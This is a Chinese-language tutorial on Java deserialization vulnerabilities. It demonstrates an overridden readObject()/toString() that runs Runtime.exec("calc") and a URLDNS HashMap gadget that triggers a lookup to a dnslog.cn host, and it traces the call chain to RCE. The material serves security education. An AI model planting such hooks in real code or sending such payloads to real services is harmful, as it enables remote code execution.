概念

Java序列化是一种将对象转化为字节流的过程,以便可以保存到磁盘上,将其传输到网络上等。

反序列化则是将字节流转化为对象的过程,将存储在内存的字节流转化为对象。

作用

序列化和反序列化的作用是传输数据,当两个进程进行通信时,可以通过序列化和反序列化进行传输。这种技术能够实现数据的持久化,通过序列化可以将数据永久保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

使用场景

  1. 将对象保存在文件或数据库当中

  2. 使用套接字在网络上传输对象

  3. 通过RMI传输对象

序列化和反序列化方法

  1. writeObject()/readObject()

  2. XMLDecoder/XMLEncoder

  3. XStream

  4. ShakeYaml

  5. FastJson

  6. Jackson

反序列化产生安全问题的原因

  1. 反序列化调用重写的 readObject() 方法

  2. 输出对象时调用 toString() 方法

当方法中带有一些可控的类,这些类中存在危险方法就会导致反序列化中产生安全问题。

方法

原生序列化writeObject()和readObject()

方法

描述

定义

writeObject()

将指定的对象写入 ObjectOutputStream

void writeObject(Object obj)

readObject()

从 ObjectInputStream 中读取一个对象

Object readObject()

首先构造一个类,需要实现 Serializable 接口(只有实现接口才可以被序列化),类当中包含构造方法和 toString() 方法。

import java.io.Serializable;

public class User implements Serializable {
    public String name;
    public Integer age;
    public String gender;

    public User(){}
    public User(String name, Integer age, String gender){
        this.name = name;
        this.age = age;
        this.gender = gender;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", gender='" + gender + '\'' +
                '}';
    }
}
import java.io.*;

public class SerializableDemo{
    public static void main(String []args) throws IOException, ClassNotFoundException {

        User u = new User("ZhangSan", 25, "Male");
        System.out.println(u);
        SerializeTest(u);
        //第一次创建对象输出:User{name='ZhangSan', age=25, gender='Male'}


        Object obj = UnSerializeTest("user.txt");
        System.out.println(obj);
        //第二次读取字节流进行反序列化生成对象输出:User{name='ZhangSan', age=25, gender='Male'}
    }

    //序列化
    public static void SerializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.txt"));
        oos.writeObject(obj);
        //对象转为字节流保存至 user.txt
    }

    //反序列化
    public static Object UnSerializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
        //读取字节流反序列化为对象并返回
    }
}

HashMap类

方法

描述

定义

put()

将指定键/值对插入到HashMap中

V put(K key, V value)

readObject()

从 ObjectInputStream 中读取一个对象

void readObject(ObjectInputStream s)

putVal()

向HashMap中插入键值对

V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict)

hash()

计算对象的哈希码

int hash(Object key)

hashCode()

计算并返回对象的哈希码

int hashCode()

K表示键(key),V表示值(value)

安全问题实例(利用链)

原生反序列化

readObject()
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {
    public String name;
    public Integer age;
    public String gender;

    public User(){}
    public User(String name, Integer age, String gender){
        this.name = name;
        this.age = age;
        this.gender = gender;
    }

    @Override
    public String toString() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", gender='" + gender + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        //指向正确defaultReadObject
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

}

import java.io.*;

public class SerializableDemo{
    public static void main(String []args) throws IOException, ClassNotFoundException {

        User u = new User("ZhangSan", 25, "Male");
        SerializeTest(u);

        UnSerializeTest("user.txt");
    }

    //序列化
    public static void SerializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.txt"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object UnSerializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

首先创建一个 User 类对象,由于 readObject() 是类当中的一个方法,也会被序列化为字节流;然后再对字节流进行反序列化,但由于反序列化的对象中包含重写的 readObject() 方法,导致第21行的 return ois.readObject(); 调用的是 User 类对象中的 readObject() 方法,执行了“恶意代码 Runtime.getRuntime().exec("calc"); ”才产生了可控类的安全问题。

注:正常情况下,第21行的 return ois.readObject(); 调用的是 java.io.ObjectInputStream 包中的 readObject() 方法。

toString()
import java.io.*;

public class SerializableDemo{
    public static void main(String []args) throws IOException, ClassNotFoundException {

        User u = new User("ZhangSan", 25, "Male");
        System.out.println(u);
    }
}

将一个对象以字符串类型调用的时候,会触发 toString() 方法,这里在创建好对象,将其输出(以字符串类型调用),触发了 toString() 方法,同时也执行了 Runtime.getRuntime().exec("calc");

HashMap

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class UrlDns implements Serializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        HashMap<URL, Integer> hash = new HashMap<>();
        URL u = new URL("http://dns.osm5nr.dnslog.cn");
        hash.put(u,1);
        SerializeTest(hash);
        UnSerializeTest("dns.txt");
    }

    public static void SerializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
        oos.writeObject(obj);
    }

    public static Object UnSerializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

执行后,在 DNSlog 中存在记录

dnslog.png

如果是执行命令的话,则构成 RCE 漏洞。

相关方法如下(仅保留关键部分)

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
    
    //----------put()----------
    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

  	//----------readObject()----------
		private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    				/******/
            for (int i = 0; i < mappings; i++) {
								/******/
                putVal(hash(key), key, value, false, false);
            }
            /******/
    }

  	//----------putVal()----------
    final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { }

  	//----------hash()----------
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

  	//----------hashCode()----------
    public final int hashCode() {
        return Objects.hashCode(key) ^ Objects.hashCode(value);
    }
}

这里的 hashCode() 方法会触发DNS解析。

而在实例代码中的执行链有两个:

put() -> putVal() -> hash() -> hashCode()

readObject() -> putVal() -> hash() -> hashCode()

四者关系为:在 put()/readObject() 中包含 putVal(),同时传入的参数均为 key(url)调用了 hash()hash() 中调用 hashCode(),触发了DNS解析。

如果请求的是执行命令,则会导致RCE漏洞